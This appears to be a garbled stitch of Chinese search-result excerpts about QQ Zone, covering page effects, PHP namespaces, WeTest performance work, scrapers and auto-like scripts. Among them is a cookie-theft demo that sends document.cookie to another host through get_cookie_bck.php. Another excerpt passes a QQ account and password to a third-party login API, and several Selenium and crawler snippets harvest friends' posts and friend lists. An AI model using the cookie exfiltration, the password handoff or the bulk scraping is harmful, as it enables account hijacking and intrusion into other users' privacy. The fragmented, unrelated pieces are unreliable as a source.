今天偶然打开PC端QQ空间时,我发现了一种似乎更好的方式 —— 鼠标移入时在范围内上下滚动图片预览,移出时停止滚动。...顺着思路,一键 f12 打开源码,我看到了这样的代码: 显而易见,QQ应该是采用了js监听鼠标位置的做法,动态改变 img 标签中自定义属性的值,并根据此去改变图片的 margin-top..."img/nan.png" class="img" /> 这里class为before和after的两个标签就是前面所说的“占位”元素(至于QQ...再回到PC端QQ空间 —— 我们发现,它的transition时间竟然是动态变化的: 这…我猜测可能是设定了一个从上到下固定的时间,然后在JS中按照滑出部分高度(已经滑动的距离)占总高度的比例动态调节时间...相关代码笔者正在尝试ing ---- 当然,本文对QQ前端团队对图片的处理来说也许只是沧海一粟,,,更多的还有比如:根据图片整体平均色差调整说明文字的颜色黑/白(canvas-getImageData
QQ上活跃这大量的用户,QQ空间里面记录了许多人的日常,这些就是数据。在日常使用QQ空间的时候,会偶尔点击给我们好友点赞的朋友,之后我们就能看到我们好友的好友的空间,依次类推,我们可以看到海量信息。...因为n为1亿,所以总共需要8 × 10^8被置位为1,在保证误判率低,选取合适的k,m,让空间利用率为50%,所以总空间为:\frac{8×10^8bis}{50%}\approx200MB,所需空间比上述哈希结构小得多...个人解释:qq空间其实是可以限制访问的,那些开放qq空间的人,会有哪些人?一,不在意别人访问的,二,需要别人浏览,阅读,转发。三,为了利益。 这些数据都有些什么用呢?...有这些人的qq号,qq号主发的动态,号主的资料卡信息,其实这里最真实的只有qq号,然后是动态,分析假的资料信息并没有什么意义。qq号没得分析,动态分析,只得大致去浏览了。告一段落吧。...qq空间里人间百态。那个80-90-00的人间百态。
流弊 就在昨天困扰了我四个月之久的QQ空间登录p值的计算问题终于被解决了,众所周知QQ空间登录是四步进行的,前三步我都完成了,但是第四步涉及到一个p值的计算,而我能嫖到的代码只有一个login.js,...php $uin = ''; //QQ账号 $pwd = ''; //QQ密码 $vcode = ''; //vc值通过QQ登录第三步来获取 $p_value = json_decode(file_get_contents...('http://api.moleft.cn/qq/p.php?...演示 这里有个演示接口:http(s)://api.moleft.cn/qq/login.php 提交参数: 参数 方法 说明 uin GET QQ账号 pwd GET QQ密码 返回数据: 字段名...实现计算QQ空间登录的p值》为博主MoLeft原创,转载请注明原文链接为:https://moleft.cn/post-146.html
根据Velocity的演讲“性能优化无未日--Qzone首页性能优化2012篇”写的一个例子
文件:get_cookie_frt.js , get_cookie_bck.php(文件里的代码都在文末) 在虚拟机里安装好phpstudy,并把上面的两个文件放在www目录下 1....首先,随便一个浏览器登录自己的QQ空间,并复制上面的网址 ?...2 .然后f12,进入开发工具,在console里输入 document.location ="http://192.168.177.134/get_cookie_bck.php?...get_cookie_frt.js document.location ="http://192.168.177.134/get_cookie_bck.php?...cookie="+ document.cookie; get_cookie_bck.php <?
7、进入相册前,请不要在浏览器界面移动鼠标,以免干扰程序判断 效果图 【可下载他人空间相册】 【更改为通用方法,导航栏无需更改为默认设置】 配置环境: 1、火狐浏览器下载:http:...如果是下载自己QQ号的相册,加密的相册就也可以下。因为自己进自己的相册不用密码的。
('QQ密码') #这里填写你的QQ密码 driver.find_element_by_id('login_button').click() time.sleep(2) #.../proxy/domain/r.qzone.qq.com/cgi-bin/tfriend/friend_hat_get.cgi?...,re.S) QQ_name_list = re.findall(abtract_pattern,str(friend_list)) #数组 print(QQ_name_list)...QQname = numList[QQnum] if QQnum == "好友qq号": #根据qq号查找指定好友说说 count = 1.../proxy/domain/taotao.qq.com/cgi-bin/emotion_cgi_msglist_v6?
使用方法 进入QQ空间网页版,并且登录 复制以下代码 var x=5,y=10; function autoClick() { y=y+5; var zan
教程 第一步: 首先下载好鼠大侠连点器:https://big.lanzouf.com/ihTgy022ckyb 第二步: 登录好QQ空间 这里建议用360极速浏览器,成功率高 第三步: 然后新建窗口...打开共享相册链接 520w相册链接https://h5.qzone.qq.com/albumshare/invite/79262322/V10QJfI548tCzG/79262322_V10QJfI548tCzG_c9b7b260ab787fa710fe0934b0a28edc...=&h5ShareSource=manyPeopleAlbumInvite&share_nshowflag=3&shareToPlatfrom=0 900w相册链接:https://h5.qzone.qq.com...第四步: 打开刚才下载的鼠大侠连点器 设置点击间隔 0.001秒 – 按F8 – 把鼠标放到下图标记的位置5秒左右即可 image.png 第五步: 返回刚才进入的QQ空间–相册–展示设置–最新创建在前
在qq空间里有好多网页特效值得初学html和js的去学习,今天我来介绍一种特效。我们在上qq空间是都会发现,当向下滚动鼠标,使滚动条到达最低端的时候,好友动态会自动增加。
原文链接:http://wetest.qq.com/lab/view/354.html WeTest 导读 空间新业务需求日益增多,在业务开发阶段的疏忽,或者是受到其他业务的影响(比如一些非空间的业务网络回包或者逻辑在主线程进行...),导致空间的某些页面掉帧率上升。...[图片] 实战应用 在好友动态页面来回滑动,笔者分四种情况来模拟用户的使用习惯: ● 刚进入空间(无缓存),下拉刷新 ● 刚进入空间(有缓存),下拉刷新 ● 来回滑动 ● 上拉加载更多 1、...目前,限时内测正在开放中,即日起至2017.12.21,所有预约成功的WeTest平台认证用户,均可以免费、不限次数地使用最完整的UPA服务,点击http://wetest.qq.com/cube/ 立即预约...对UPA感兴趣的开发者,欢迎加入QQ群:633065352 如果对使用当中有任何疑问,欢迎联系腾讯WeTest企业QQ:800024531
WeTest 导读 空间新业务需求日益增多,在业务开发阶段的疏忽,或者是受到其他业务的影响(比如一些非空间的业务网络回包或者逻辑在主线程进行),导致空间的某些页面掉帧率上升。...实战应用 在好友动态页面来回滑动,笔者分四种情况来模拟用户的使用习惯: ● 刚进入空间(无缓存),下拉刷新 ● 刚进入空间(有缓存),下拉刷新 ● 来回滑动 ● 上拉加载更多 1 将耗时操作(如文件...由于空间里面存在大部分图片,其中走网络下载的图片就是上述这个流程。在这个过程中,刨开网络下载的部分,我们会根据图片URL来存取。...解决方法:优化调用耗时,或者将耗时操作放到别的地方去 4 提前进行(耗时操作不可避免) 在进入空间之前,我们会有很多初始化工作,比如初始化用户的空间装扮,读取用户的一些配置等,有时候还会涉及IO操作,这部分的耗时是必不可免的...上图是进入空间的时候,需要初始化混合Cover挂件的耗时问题。 我们可以利用不同的runloop来优化这个耗时问题。
概述 什么是命名空间呢? 这个概念我第一次知道是在C++中. 首先, 为什么要用到命名空间呢?...当然是为了解决重名的问题了, 其实命名空间和Java中的包有着异曲同工之妙, Java中 a包下的Test类, 和b包下的Test类是两个类, 在使用的时候import不同包下即可, PHP中 a命名空间下的...好了, 看PHP命名空间的简单应用: 是不是很简单? 但是我有如下问题? 不指定命名空间时, 如何? 不将类use进来,直接创建,如何? 若要引入不同命名空间的同名类, 如何? 问题解决 1....当不指定命名空间时, 为全局空间,公共空间 2. 不讲类use进来, 直接创建时, 将在当前命名空间下寻找 3....引入不同命名空间的同名类时, 可以使用别名来区分同名类 总结 PHP中命名空间与文件所处路径是没有关系的, 使用时, 最方便的就是直接使用根路径进行引入, 如果使用相对路径, 可能会混淆 其实, 就将命名空间当作路径来使用就可以了
本文是复习所写,并不会涵盖一些基础知识点 定义 命名空间就相当于操作系统中目录的概念 主要是为了解决以下两个问题: 用户编写的代码与PHP内部的类/函数/常量或第三方类/函数/常量之间的名字冲突 为很长的标识符名称...php namespace Mayi\Demo; class Test { } 命名空间大小写不敏感,一般首字母大写 同一文件中可以定义多个命名空间,不推荐使用 php namespace Mayi { class Test { public function foo() { echo __...namespace\foo(); (new namespace\Mayi\Test)->foo(); (new namespace\Mayi\Demo\Test)->foo(); 使用命名空间 php namespace Demo; use Mayi; // 导入 use Mayi\Demo as MayiDemo; // 导入并起别名
闲的无事写了一个火车采集器的 QQ 空间说说任务模板,用于采集已有访问权限的指定 QQ 号的所有说说消息。有需要的就拿去用,转载请注明出处。默认输出格式为 TXT ,每行一条说说。...默认采集地址为: http://taotao.qq.com/cgi-bin/emotion_cgi_msglist_v6?...uin=[QQ号码]&inCharset=utf-8&outCharset=utf-8&hostUin=[QQ号码]¬ice=0&sort=0&pos=(*)&num=20&cgi_host=http...=1&g_tk=[参数1] 需将[QQ号码]替换为被采集 QQ 号码,不保留方括号。...[参数1]获取方法见下,不同 QQ 号码之间参数1不相同。 打开被采集 QQ 空间后,按 F12 开启元素审查。切换到 network 标签后点击 QQ 空间中的说说链接。
现在让我们来在QQ空间控制台加上一段代码 一段Javascript代码,让电脑自动为我们点赞。...} }; window.scrollBy(x,y); } window.setInterval(autoClick,2000);----使用方法1:进入QQ...空间2:复制代码3:按f12 进入控制台 也就是console4:粘贴 回车 喝口水如果嫌慢的话可以 修改这段代码window.setInterval(autoClick,2000);复制代码/
function get_qq_nick($uid) { $get_info = file_get_contents('https://r.qzone.qq.com/fcg-bin/cgi_get_portrait.fcg...explode(',',$get_info); return trim(mb_convert_encoding($nic[6], "UTF-8", "GBK"),'"'); } 写点小玩意,自动取QQ...form-data 地址 协议 方法 线路 https://blog.zets.cn/api/qqinfo https GET/POST 国内 请求Query参数 参数名 示例值 参数类型 是否必填 参数描述 qq...66547997 string 是 qq号 size true string 否 默认100px,若有值图像大小为640px 成功响应示例 { "code": 200, "msg":...示例值 参数类型 参数描述 code 200 string 状态值 msg susses string 返回文字描述 data object 返回数据 data.uid 66547997 number qq
自去年9月12日苹果发布会发布iPhone X之后,新颖的设计虽然引来不少骂声,但也给iOS设计和开发者带来了新的挑战,本文总结了iOS QQ空间对iPhone X适配过程遇到的问题和解决手段。...不过庆幸的是,空间代码大部分都用宏来获取状态栏高度,然后我们现在将宏改为通过函数返回高度即可,如下图所示。
所以当我们想要打开浏览器去获取好友空间的时候必定会要求进行登录,接着再是查看说说。那么我们先把登录步骤给解决了。...1.模拟登录QQ空间 因为想更直观的看到整个登录过程所以就没有用selenium+phantomjs,而是结合Chorme使用。...在获取过程需要考虑两个问题,一是你是否有权限访问该空间,二是在能访问的情况下不能无止境的爬下去需要判断该空间说说是否爬取完毕。在爬取过程中将不能访问的QQCode存入list在最后跑完的时候输出。
webdriver.Chrome() browser.set_window_position(20, 40) browser.set_window_size(1100,700) browser.get('http://qzone.qq.com
领取专属 10元无门槛券
手把手带您无忧上云